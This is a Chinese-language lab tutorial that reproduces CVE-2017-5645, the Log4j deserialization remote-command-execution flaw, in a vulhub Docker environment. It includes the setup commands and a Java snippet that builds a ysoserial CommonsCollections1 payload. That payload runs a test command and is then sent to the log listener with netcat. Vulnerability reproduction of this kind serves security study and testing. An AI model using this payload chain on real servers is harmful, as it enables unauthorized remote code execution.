CVE-2017-5645漏洞复现
时间: 2025-07-06 19:02:03 浏览: 17
### 复现 CVE-2017-5645 漏洞
为了复现 Apache Log4j 的反序列化命令执行漏洞 (CVE-2017-5645),需遵循一系列特定的操作流程来设置实验环境并验证该漏洞的存在。
#### 准备工作
进入指定的工作目录,以便于后续操作:
```bash
cd /home/hbesljx/vulhub/log4j/CVE-2017-5645
```
此路径包含了用于模拟漏洞场景所需的一切资源[^2]。
#### 启动服务端程序
启动带有易受攻击配置的服务端应用。通常情况下,在`vulhub`项目中会提供Docker容器化的部署方式,通过运行如下命令可快速建立受影响的日志服务器实例:
```bash
docker-compose up -d
```
这一步骤将会拉取必要的镜像,并按照预设参数启动一个存在潜在风险的Log4j组件实例[^4]。
#### 构建恶意负载
构建能够触发漏洞的有效载荷(Payload)。由于这是一个反序列化漏洞,因此需要创建特殊格式的数据包发送给目标机器上的Log4j监听器。可以借助工具如ysoserial生成这样的payload:
```java
public class Exploit {
public static void main(String[] args) throws Exception{
String command = "touch /tmp/success"; // 测试命令
Object payload = new CommonsCollections1().getObject(command);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
oos.writeObject(payload);
oos.close();
}
}
```
这段Java代码片段展示了如何使用Commons Collections库配合其他依赖项制造出能被执行任意系统的指令链路;这里仅作为示例给出创建`.ser`文件的方法。
#### 发送Payload至目标主机
利用网络协议(TCP/UDP)向已知开放的日志接收端口传输上述制作好的二进制数据流(`payload.ser`)。可以通过编写简单的客户端脚本来完成这项任务,或者直接采用netcat等常用工具实现通信过程中的消息传递功能。
一旦成功投递了精心设计过的输入,则预期会在远程系统上观察到由我们定义的动作效果——即证明了漏洞确实存在并且具有实际危害性。
阅读全文
相关推荐















